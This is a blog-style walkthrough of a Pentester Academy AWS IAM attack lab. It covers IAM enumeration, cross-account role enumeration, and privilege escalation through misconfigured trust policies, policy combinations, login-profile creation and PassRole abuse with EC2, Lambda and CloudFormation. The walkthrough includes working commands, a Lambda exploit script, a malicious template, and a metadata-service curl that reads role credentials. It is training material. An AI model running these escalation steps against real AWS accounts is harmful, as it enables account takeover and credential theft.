Home Pentester Academy AWS IAM Attack Lab
Post
Cancel

Pentester Academy AWS IAM Attack Lab

Enumeration

To get information about current caller →

1
awsn sts get-identity-caller
  1. List and see last uses for access keys →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
     # List all access keys
     awsn iam list-access-keys
    
     # Get last usage region and service which used the access key
     awsn iam get-access-key-last-used --access-key-id AKIAUAWOPGE5CTW6HRZL
    
     # List last service usage for all access keys
     for i in $(awsn iam list-access-keys | jq '.AccessKeyMetadata[] | .AccessKeyId' | tr -d "\"")
     do echo $i
     awsn iam get-access-key-last-used --access-key-id $i | jq '.AccessKeyLastUsed | .ServiceName'
     done
    
  2. Get information about the account →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
     # Summary for the account
     awsn iam get-account-summary | jq '.SummaryMap'
    
     # Password Policy
     awsn iam get-account-password-policy
    
     # Get account aliases
     awsn iam list-account-aliases | jq '.AccountAliases'
    
     # Get a million lines - all information about the account
     # Best to save this in some file since the output is huge (~5MB)
     awsn iam get-account-authorization-details > account_authorization_details
    
  3. Get information on groups →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
     # Get list of all groups (direct)
     awsn iam list-groups | jq '.Groups[].GroupName'
    
     # Get list of all groups (from account_authorization_details)
     cat account_authorization_details | jq '.GroupDetailList[].GroupName'
    
     # Get managed policies for a group
     awsn iam list-attached-group-policies --group-name ad-Admin
     cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "ad-Admin") | .AttachedManagedPolicies'
    
     # Get group inline policies
     awsn iam list-group-policies --group-name Students-config-2
     cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "Students-config-2") | .GroupPolicyList'
    
     # Get users in group
     awsn iam get-group --group-name Students-config-2 | jq '.Users'
    
  4. Get information on users →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
     # Get list of users
     awsn iam list-users | jq '.Users[].UserName'
     cat account_authorization_details | jq '.UserDetailList[].UserName'
    
     # List policy for a user
     awsn iam list-user-policies --user-name student-mtn5imevkfls5pue
     awsn iam get-user-policy --user-name student-mtn5imevkfls5pue --policy-name DenyAccess
     cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="student-mtn5imevkfls5pue") | .UserPolicyList'
    
     # List attached managed policies for a user
     awsn iam list-attached-user-policies --user-name student-mtn5imevkfls5pue
     cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="student-mtn5imevkfls5pue") | .AttachedManagedPolicies'
    
     # List user tags for a user
     awsn iam list-user-tags --user-name ad-Adminson
     cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .Tags'
    
     # Get general user information
     awsn iam get-user --user-name ad-Adminson
     cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson")'
    
     # List groups for user
     awsn iam list-groups-for-user --user-name ad-Adminson
     cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .GroupList'
    
     a=$(cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .GroupList[]' | tr -d "\"")
     for i in $(echo "$a"); do cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "'"$i"'")'; done
    
  5. Get login profiles for all users →

    1
    2
    3
    4
    
     for i in $(awsn iam list-users | jq '.Users[].UserName' | tr -d "\"")
     do echo "$i -----------------"
     awsn iam get-login-profile --user-name $i
     done
    
  6. Get information on roles →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
     # List all roles
     awsn list-roles
     cat account_authorization_details | jq '.RoleDetailList[]'
    
     # Get information for a role
     awsn iam list-role-policies --role-name ad-Role
     awsn iam get-role --role-name ad-Role
     cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role")'
    
     # Get policies for a role
     awsn iam list-role-policies --role-name ad-Role # gives names for the next command
     awsn iam get-role-policy --role-name ad-Role --policy-name ad-RoleDeneid
     cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role") | .RolePolicyList'
    
     # List attached managed policies
     awsn iam list-attached-role-policies --role-name ad-Role
     cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role") | .AttachedManagedPolicies'
    
  7. Get default version document for policy →

    1
    2
    
     cat account_authorization_details | \
     jq '.Policies[] | select(.PolicyName=="AmazonDynamoDBFullAccess") | .PolicyVersionList[] | select(.IsDefaultVersion==true) | .Document'
    
  8. List all policies in use →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     # Policies with attachment count more than 0
     awsn iam list-policies | jq '.Policies[] | select(.AttachmentCount > 0) | .PolicyName'
     cat account_authorization_details | jq '.Policies[].PolicyName'
    
     # Customer Managed policies
     awsn iam list-policies --scope Local
    
     # AWS Managed policies
     awsn iam list-policies --scope AWS
    
  9. List entities for a given policy →

    1
    
     awsn iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    
  10. Get ssh-public keys and signing certificates for user →

    1
    2
    3
    4
    5
    
    # List signing key certs for user
    awsn iam list-signing-certificates --user-name ad-user
    
    # Get ssh public keys
    awsn iam list-ssh-public-keys --user-name ad-user
    
  11. Get Roles which have Principal as any AWS account within the Assume Role policy document →

    1
    2
    
    cat account_authorization_details | \
    jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS=="*") | .RoleName'
    
  12. Get information for MFA devices →

    1
    2
    3
    4
    5
    
    # MFA devices
    awsn iam list-mfa-devices
    
    # Virtual MFA devices
    awsn iam list-virtual-mfa-devices
    

Cross Account Enumeration

The old method of enumerating roles on a different account was to try to assume that role and look for discrepancies in the error response returned by the API. This was fixed by AWS Security and thus a new method is required.

For the new method, a new role is created using the following in the personal account →

1
awsn iam create-role --role-name tlullu --assume-role-policy-document file://policy.json

The policy document contains the following →

1
2
3
4
5
6
7
8
9
10
11
12
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": {
        "AWS": "*"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

This denies sts:AssumeRole to all AWS accounts. Now, if the policy is updated to deny it only for a specific ARN, then AWS backend will check to see if the entity actually exists. The update policy command fails if the entity is not valid (not present). Therefore, the principal can be changed to the following → "AWS": "ad-doesnotexist" or "AWS": "ad-crow" using the following command →

1
aws iam update-assume-role-policy --role-name tlullu --policy-document file://policy.json

The command fails if the role doesn’t exist with the following error →

1
An error occurred (MalformedPolicyDocument) when calling the UpdateAssumeRolePolicy operation: Invalid principal in policy: "AWS":"arn:aws:iam::276384657722:role/ad-doesnotexist"

If the role exists, then the policy is updated successfully. This allows for role enumeration, after which they can be checked for wildcard principal for sts:AssumeRole by attempting to assume them. PACU does this automatically.

Adding keys to PACU and running it from the prompt as follows →

1
run iam__enum_roles --role-name tlullu --account-id 276384657722 --word-list /root/names

This gives the following identified roles and whether they can be assumed globally or not →

  1. ad-crew
  2. ad-flea
  3. ad-ibex
  4. ad-snipe
  5. ad-griffon

Since this works on entities, users can also be enumerated in the same way by specifying the ARN of a user instead of a role within the policy. PACU has this under the iam__enum_users module. Running that modules gives the following users →

  1. ad-ghoul
  2. ad-guppy
  3. ad-marmot
  4. ad-thrush
  5. ad-haddock
  6. ad-foxhound
  7. ad-honeybee
  8. ad-terrapin

Misconfigured Trust Policy

The Lab asks to assume a role in another account which can be done as follows →

1
awsn sts assume-role --role-arn arn:aws:iam::276384657722:role/ad-LoggingRole --role-session-name TestTanq

The output can be saved to a file assumed_role. Then the session can be used as follows →

1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.Credentials.AccessKeyId'|tr -d "\"") \
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.Credentials.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Credentials.SessionToken'|tr -d "\"") \
awsn sts get-caller-identity

Using this method to check the managed policies attached with the role, it’s seen that the role has read only access to S3 and IAM. The S3 buckets can be listed and the IAM assume role policy can be seen as well as follows →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# awsn iam get-role --role-name ad-LoggingRole
{
    "Role": {
        "Path": "/",
        "RoleName": "ad-LoggingRole",
        "RoleId": "AROAUAWOPGE5JQT23CRUN",
        "Arn": "arn:aws:iam::276384657722:role/ad-LoggingRole",
        "CreateDate": "2021-01-20T06:15:40+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "*"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2022-04-24T17:35:13+00:00",
            "Region": "us-east-1"
        }
    }
}

The policy allows any AWS account to assume this role i.e., wildcard. This is bad.


Overly Permissive Permission 1

This lab provides a user in an AWS account and the objective is to obtain administrative privileges using an overly permissive permission.

Listing the details of the user from UserDetailList, the student user has the following policies →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
  "Path": "/",
  "UserName": "student",
  "UserId": "AIDAS4LAHUW7BDJ6WXEI3",
  "Arn": "arn:aws:iam::198307194302:user/student",
  "CreateDate": "2022-04-25T01:50:49+00:00",
  "GroupList": [],
  "AttachedManagedPolicies": [
    {
      "PolicyName": "IAMReadOnlyAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
    },
    {
      "PolicyName": "Service",
      "PolicyArn": "arn:aws:iam::198307194302:policy/Service"
    }
  ],
  "Tags": []
}

The policy Service can be retrieved as follows →

1
awsn iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::198307194302:policy/Service

This gives the following policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "iam:AttachUserPolicy",
                    "Effect": "Allow",
                    "Resource": "arn:aws:iam::*:user/*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-04-25T01:50:49+00:00"
    }
}

This allows the user to attach arbitrary policies to any user. Thus, the administrator privileges can be granted to any user. In this instance, granting the Administrator policy to the student user can be done as follows →

1
2
asd=$(awsn iam list-policies | jq '.Policies[] | select(.PolicyName == "AdministratorAccess") | .Arn' | tr -d "\"")
awsn iam attach-user-policy --user-name student --policy-arn $asd

This solves the lab.


Dangerous Policy Combination 1

This lab gives an IAM user with the objective to leverage the policies attached to the student user and attain administrative privileges on the AWS account.

Using the User detail list to check the policies for the student user →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
  "Path": "/",
  "UserName": "student",
  "UserId": "AIDAZNIQILDEKIBVNHP56",
  "Arn": "arn:aws:iam::646963550408:user/student",
  "CreateDate": "2022-04-25T02:37:36+00:00",
  "UserPolicyList": [
    {
      "PolicyName": "terraform-20220425023745069800000002",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Action": [
              "sts:AssumeRole"
            ],
            "Effect": "Allow",
            "Resource": [
              "arn:aws:iam::646963550408:role/Adder",
              "arn:aws:iam::646963550408:role/Attacher"
            ]
          }
        ]
      }
    }
  ],
  "GroupList": [],
  "AttachedManagedPolicies": [
    {
      "PolicyName": "IAMReadOnlyAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
    }
  ],
  "Tags": []
}

Thus, the user can assume the two roles of Adder and Attacher. These policies can be retrieved from the respective roles using the Role detail list →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
  "Path": "/",
  "RoleName": "Adder",
  "RoleId": "AROAZNIQILDEGUAHO6ICH",
  "Arn": "arn:aws:iam::646963550408:role/Adder",
  "CreateDate": "2022-04-25T02:37:44+00:00",
  "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "AWS": "arn:aws:iam::646963550408:user/student"
        },
        "Action": "sts:AssumeRole"
      }
    ]
  },
  "InstanceProfileList": [],
  "RolePolicyList": [
    {
      "PolicyName": "AddUser",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Action": "iam:AddUserToGroup",
            "Effect": "Allow",
            "Resource": "arn:aws:iam::646963550408:group/Printers"
          }
        ]
      }
    }
  ],
  "AttachedManagedPolicies": [],
  "Tags": [],
  "RoleLastUsed": {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
  "Path": "/",
  "RoleName": "Attacher",
  "RoleId": "AROAZNIQILDELXDKYIOZ2",
  "Arn": "arn:aws:iam::646963550408:role/Attacher",
  "CreateDate": "2022-04-25T02:37:44+00:00",
  "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "AWS": "arn:aws:iam::646963550408:user/student"
        },
        "Action": "sts:AssumeRole"
      }
    ]
  },
  "InstanceProfileList": [],
  "RolePolicyList": [
    {
      "PolicyName": "AttachPolicy",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Action": "iam:AttachGroupPolicy",
            "Effect": "Allow",
            "Resource": "arn:aws:iam::646963550408:group/Printers"
          }
        ]
      }
    }
  ],
  "AttachedManagedPolicies": [],
  "Tags": [],
  "RoleLastUsed": {}
}

Therefore, the Adder role allows adding users to the group Printers and the Attacher policy allows attaching policies to the group Printers. Therefore, the escalation path is to add the AdministratorAccess policy to the Printers group and then add the student user to that group. This will grant us administrative privileges. Assume the roles and save the credentials output to assumed_role after which the commands can be invoked as follows →

1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.Credentials.AccessKeyId'|tr -d "\"") \                                                                               with root@cf9d78fcffc0
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.Credentials.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Credentials.SessionToken'|tr -d "\"") \
awsn iam add-user-to-group --group-name Printers --user-name student

Similarly, repeat for Attacher and attach the policy using the following →

1
2
# same env vars to use the assumed role session
awsn iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --group-name Printers

Dangerous Policy Combination 2

This lab provided an IAM user in an AWS account and the objective was to gain administrative privileges.

Looking at the users in IAM, using the User detail list, there are 2 users and only one with policies which is student. The student user has a policy to assume the roles of Adder and PolicyUpdater. Looking at these roles using the Role detail list, the Adder role can add a user to the Printers group while the PolicyUpdater role can create a new version for the policy Print.

The Printers group has the Print policy attached to it. Therefore, path of escalation is to create a new version of the Print policy which allows administrator access to the Printers group and then add the student user to the Printers group.

Therefore, assume role of Adder and add the user to the Printers group. Next, assume role of PolicyUpdater and create a new version for the Print policy using the standard administrative policy file. The create-policy-version subcommand also has a flag to make the new version default. This can be done as follows →

1
awsn iam create-policy-version --policy-arn arn:aws:iam::871597022766:policy/Print --policy-document file://policy.json --set-as-default

This gives the student user administrative privileges. This also solves the lab.


Overly Permissive Permission 2

The lab provides an IAM user student within an AWS account with the objective of gaining administrative access on the account.

Looking at the user detail list, there are 4 users → student which is us, identity which is useless, AdminBob and AdminJane which are the two admins,

Upon looking at the policies, the student user has the following policy inline →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
      "PolicyName": "terraform-20220425212035034400000001",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Action": [
              "iam:CreateLoginProfile",
              "iam:ChangePassword"
            ],
            "Effect": "Allow",
            "Resource": "*"
          }
        ]
      }
    }

With this, a new login profile can be used on any user on the account. Therefore, a skeleton is created using the following command →

1
awsn iam create-login-profile --generate-cli-skeleton > create-login-profile.json

This creates a skeleton json file which can be edited as follows →

1
2
3
4
5
{
    "UserName": "AdminBob",
    "Password": "Root00--123@",
    "PasswordResetRequired": false
}

Then, the new login profile can be created using the following command →

1
awsn iam create-login-profile --cli-input-json file://create-login-profile.json

This gives console access to the AdminBob user and therefore grants administrative privileges and solves the lab.


Pass Role EC2

The lab provides an IAM user student within an AWS account with the objective of gaining administrative access on the account.

lab.log

The student user has the following policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
  "PolicyName": "ConfigureEC2Role",
  "PolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": [
          "iam:PassRole",
          "ec2:RunInstances",
          "ec2:Describe*",
          "ec2:TerminateInstances",
          "ssm:*"
        ],
        "Resource": "*"
      }
    ]
  }
}

Therefore, the user can perform PassRole on any resource as well as has control over EC2 instances and SSM (AWS Systems Manager). Therefore, the user should have the ability to pass a role to an EC2 instance and run it.

Looking at available roles that can be passed using the role detail list, there is an ec2admin role that can be assumed by EC2 which has policies as follows →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
{
  "Path": "/",
  "RoleName": "ec2admin",
  "RoleId": "AROAQYAQFWV2XI23JRAW7",
  "Arn": "arn:aws:iam::051573536117:role/ec2admin",
  "CreateDate": "2022-04-26T00:00:05+00:00",
  "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "Service": "ec2.amazonaws.com"
        },
        "Action": "sts:AssumeRole"
      }]
  },
  "InstanceProfileList": [
    {
      "Path": "/",
      "InstanceProfileName": "ec2_admin",
      "InstanceProfileId": "AIPAQYAQFWV2Z3YJX2PCC",
      "Arn": "arn:aws:iam::051573536117:instance-profile/ec2_admin",
      "CreateDate": "2022-04-26T00:00:06+00:00",
      "Roles": [
        {
          "Path": "/",
          "RoleName": "ec2admin",
          "RoleId": "AROAQYAQFWV2XI23JRAW7",
          "Arn": "arn:aws:iam::051573536117:role/ec2admin",
          "CreateDate": "2022-04-26T00:00:05+00:00",
          "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
              {
                "Effect": "Allow",
                "Principal": {
                  "Service": "ec2.amazonaws.com"
                },
                "Action": "sts:AssumeRole"
              }]}}]}
  ],
  "RolePolicyList": [
    {
      "PolicyName": "terraform-20220426000006379000000003",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
          }]}}
  ],
  "AttachedManagedPolicies": [],
  "Tags": [],
  "RoleLastUsed": {}
}

When the role is defined on the console to be assumed by EC2, an instance profile is automatically created by the backend to allow for the instance to assume that role. The only remaining step at that point is to allow an authorized user to pass a role to it. The policy attached to the above passable role is that of an administrative user.

Several pieces of information are required to launch an EC2 instance. These can be gathered as follows →

  1. Get the AMI-ID to launch a machine and get the Image ID →
1
awsn ec2 describe-images --owners "amazon" --filters "Name=name,Values=amzn2-ami-hvm-*x86_64-gp2" "Name=state,Values=available" "Name=architecture,Values=x86_64" | jq '.Images | sort_by(.CreationDate) | last(.[])'
  1. Get the available subnets and retrieve a Subnet ID →
1
awsn ec2 describe-subnets
  1. Get the security group to associate with the instance. The Group ID is the field of importance. There were many security groups here, however, an interesting one was the sshAccesss SG which allowed SSH access from anywhere on the internet. This was not useful though, since the user did not have permissions to add an SSH key. So, any security group would suffice →
1
awsn ec2 describe-security-groups
  1. The instance profile name can be obtained from the above Role detail as ec2_admin.

Now, the instance can be launched using the following command →

1
awsn ec2 run-instances --subnet-id "subnet-0d3f2d36c562ea754" --image-id "ami-00db75007d6c5c578" --iam-instance-profile Name=ec2_admin --instance-type t2.micro --security-group-ids "sg-0cd10f19654a602f8"

This launched the instance and returns a bunch of information about it along with the instance ID, which is necessary to use when trying to execute things via SSM. The EC2 instance effectively has the assumed role of ec2admin. The next step is to get the credentials via the metadata service.

Commands can be issued to the EC2 instance using SSM using the following →

1
ssm send-command --targets "Key=instanceids,Values=i-02930a6a3317e02e1" --document-name "AWS-RunShellScript" --comment "aws_cli_run_lab" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2admin/"]'

This runs the command and returns an ID associated with the command invocation. The ID can be used to retrieve the output as follows →

1
awsn ssm get-command-invocation --command-id 35218027-97f2-4b68-8495-aa78cb0e9065 --instance-id i-02930a6a3317e02e1

This gives the output of the cURL command which contains the temporary credentials to assume the role that the EC2 instance has i.e., the ec2admin role. Then the following can be done to prove administrative privileges →

1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.AccessKeyId'|tr -d "\"") \
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Token'|tr -d "\"") \
awsn iam create-user --user-name Bob

This solves the lab.


Pass Role Lambda

The lab provides an IAM user student within an AWS account with the objective of gaining administrative access on the account.

Looking at the users, the user of importance is student who has the inline policy to allow iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction, lambda:List*, lambda:Get* and lambda:Update* actions. Therefore, student has the ability to pass an existing role to a Lambda function.

If such a role exists which can be passed to Lambda and has enough permissions to help escalate, that would solve the issue. This can be checked by looking at the policy detail list. Such a function can be found in the lab account. The command to do a quick search is as follows →

1
cat account_authorization_details | jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service=="lambda.amazonaws.com")'

This gives the following role →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{
  "Path": "/",
  "RoleName": "lab11lambdaiam",
  "RoleId": "AROAVZBFEYFFM77TYJBLL",
  "Arn": "arn:aws:iam::397362381130:role/lab11lambdaiam",
  "CreateDate": "2022-04-26T19:11:46+00:00",
  "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "Service": "lambda.amazonaws.com"
        },
        "Action": "sts:AssumeRole"
      }
    ]
  },
  "InstanceProfileList": [],
  "RolePolicyList": [
    {
      "PolicyName": "terraform-20220426191146909700000003",
      "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Action": [
              "iam:AttachUserPolicy"
            ],
            "Effect": "Allow",
            "Resource": "*"
          }
        ]
      }
    }
  ],
  "AttachedManagedPolicies": [],
  "Tags": [],
  "RoleLastUsed": {}
}

Therefore, the role has the permissions to attach a policy to any user. Therefore, the attack path is as follows →

  1. Write malicious code to build a Lambda function out of it such that the code grants the student user administrator privileges by assuming capabilities of the lab11lambdaiam role →
1
2
3
4
5
6
7
8
9
10
# file name is lambda_exploit.py
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
                UserName = 'student',
                PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess'
            )
    return response

This is then zipped to create a deployment bundle as follows →

1
zip lambda_exploit.zip lambda_exploit.py
  1. Create a function by passing the lab11lambdaiam role to it using the malicious code →
1
2
3
awsn lambda create-function --function-name lambda_exploit \
--runtime python3.8 --role "arn:aws:iam::397362381130:role/lab11lambdaiam" \
--handler "lambda_exploit.lambda_handler" --zip-file fileb://lambda_exploit.zip
  1. Invoke the Lambda function →
1
2
3
4
5
# Invoke
awsn lambda invoke --function-name lambda_exploit out --log-type Tail

# Output will be in LogResult key in the returned JSON object.
# LogResult is base64 encoded and the file out contains request parameters

These steps grant the administrator privileges to the student user and this can be verified by creating a new user or listing the attached policies again and comparing with user detail list. This solves the lab.


Pass Role CloudFormation

The lab provides an IAM user student within an AWS account with the objective of gaining administrative access on the account.

Looking at the user detail list, only student is of concern and has the following inline policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Action": [
        "iam:PassRole",
        "cloudformation:Describe*",
        "cloudformation:List*",
        "cloudformation:Get*",
        "cloudformation:CreateStack",
        "cloudformation:UpdateStack",
        "cloudformation:ValidateTemplate",
        "cloudformation:CreateUploadBucket"
      ],
      "Effect": "Allow",
      "Resource": "*"
    }
  ]
}

Therefore, the user can pass a role to a service, which has to CloudFormation as it is the only one which it can do most of the actions for. Therefore, the path of escalation would be to create a malicious IaC template in CFN and passing a role that can allow CFN to do malicious activities. To find such a role, looking at role detail list, there is one named lab12CFDeployRole which can also be searched for with the following command →

1
cat account_authorization_details | jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service=="cloudformation.amazonaws.com") | .RoleName'

This role has the following inline policy →

1
2
3
4
5
6
7
8
9
10
11
12
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Action": [
        "iam:PutUserPolicy"
      ],
      "Effect": "Allow",
      "Resource": "*"
    }
  ]
}

Therefore, the CFN stack would be able to add an inline policy for a user. So, a malicious template is created as follows →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
  "Resources": {
    "tanqtemplate": {
      "Type": "AWS::IAM::Policy",
      "Properties": {
        "PolicyDocument": {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Effect": "Allow",
              "Resource": "*",
              "Action": "*"
            }
          ]
        },
        "Users": [
          "student"
        ],
        "PolicyName": "cfn_admin_policy_via_exploit"
      }
    }
  }
}

This is then passed to the command used to create a CFN stack as follows →

1
2
3
4
awsn cloudformation create-stack \
--role-arn "arn:aws:iam::896825229505:role/lab12CFDeployRole" \
--template-body file://template.json --stack-name "pass-role-exploit-cfn" \
--capabilities "CAPABILITY_NAMED_IAM"

The CAPABILITY_NAMED_IAM capability must be passed since the template is making changes to the account using a policy which is custom and thus, “named”. This will create the stack and the creation or created status can be monitored by using the following command →

1
2
3
4
5
# just describe
awsn cloudformation describe-stacks --stack-name "pass-role-exploit-cfn"

# get events
awsn cloudformation describe-stack-events --stack-name "pass-role-exploit-cfn"

Once this is created, the policy takes effect and the inline policies will show the new policy for student which grants it administrator privileges. This solves the lab.


This post is licensed under CC BY 4.0 by the author.